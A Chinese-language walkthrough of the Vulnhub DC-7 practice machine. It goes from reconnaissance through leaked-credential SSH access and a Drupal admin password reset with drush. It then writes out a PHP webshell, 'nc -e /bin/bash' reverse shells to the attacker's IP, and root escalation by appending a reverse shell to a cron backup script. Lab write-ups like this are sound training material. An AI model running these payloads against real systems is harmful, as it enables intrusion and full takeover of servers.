Bootstrap

【Vulnhub靶场】DC-7

DC-7靶机下载地址:https://www.five86.com/downloads/DC-7.zip

目标

本机IP:192.168.118.128

靶机IP:192.168.118.0/24

信息收集

nmap存活主机探测,端口扫描,全服务扫描

nmap -sP 192.168.118.0/24

nmap -p- 192.168.118.144

nmap -sV -A 192.168.118.144

第一步得到存活ip为:192.168.118.144

这里探测出开放了22端口和80端口

查看web服务:http://192.168.118.144

首先猜测其CMS为Drupal,使用whatweb查看一下,是这样的

主页提示我们跳出思维惯性,不能暴力破解,应该换种方法进行渗透

扫描目录查看一下

dirsearch -u http://192.168.118.144

访问扫描到的目录,特殊的有一个后台登录 /user/login

代码审计

而且,每个页面左下角都有个@DC7USER,结合首页作者给出的提示,这里可以猜测是否有源码泄露,搜索一下,源码被泄露了

进去查看,成功在其配置文件里找到了一个账号密码,虽然不知道具体是干啥的,但相信肯定是有用的咯

拿到账号密码(dc7user :MdR3xOgB7#dW)

首先尝试登录后台,发现登录失败

想到前面开放的22端口,尝试使用SSH登录,登录成功

ssh [email protected]

探索过程中,首先引眼帘就是这个邮件地址了

cat进去查看邮件,发现里面有root和两个文件地址

查看一下 backups.sh 文件

发现是一个root的定时文件,想要在里面直接反弹shell,但是查看后发现没有写入权限

在这里看到 backups.sh 文件里面执行了drush命令,执行的文件是/home/dc7user/backups/website.sql

发现了个drush命令,这个是drupal专属的一个操作系统命令,参考:https://zhuanlan.zhihu.com/p/60880048

drush是一个shell接口,用于从云服务器命令行管理Drupal。

需要在 drupal web目录执行(/var/www/html)

使用 drup 更改密码运行命令(drush user-password admin --password="new_pass")

drush修改密码

首先切换到drupal web目录,然后查看管理员账号admin

cd /var/www/html

drush user-information admin

修改管理员admin密码为123456

drush upwd admin --password="123456"

使用修改后的密码登录后台(admin :123456),登录成功

Getshell

想办法写个木马就进行反弹shell

在下面这个地方找到了编辑文件并上传的地方,但是没有PHP解释器

后面查了一下因为dc7的CMS是Drupal8,已经移除了PHP Filter(php过滤器),后续作为一个模组存在,可以手动安装

添加下载地址:https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz ,然后点击开始安装

我这里失败了,直接在浏览器下载后直接上传后再安装

install安装成功,点击next steps里的enable newly added modules(启用新添加的模块)激活php模块,下滑找到 php fliter 勾选之后选择安装,安装成功

直接点击主页里面的DC-7,修改里面的内容为一句话木马,选择format为php code

<?php $var=shell_exec($_GET['cmd']);echo $var ?>

上传成功后再url后面拼接 ?cmd=ls ,成功回显,木马上传成功

反弹shell

nc -lvvp 6666

192.168.118.144/node/1?cmd=nc+-e+/bin/bash+192.168.118.128+6666

成功得到shell,发现不是稳定shell,上传脚本升级为交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

 提权

接下来的思路即为提权。通过上面的分析我们发现,root用户会定期执行backups.sh脚本。

而此时用户www-data存在着写权限,那么即可尝试将反弹shell的脚本写入backups.sh脚本

那么等待反弹即可获得root权限

nc -lvvp 6688

echo 'nc -e /bin/bash 192.168.118.128 6688' >> opt/scripts/backups.sh

 

在 www-data 权限下将反弹shell写入backups.sh,在kali主机等待,由计划任务可知,这个脚本每过15分钟即执行一次,所以等待反弹shell成功即可

反弹shell成功后,即可获得root权限,最后成功在 /root目录下找到flag

;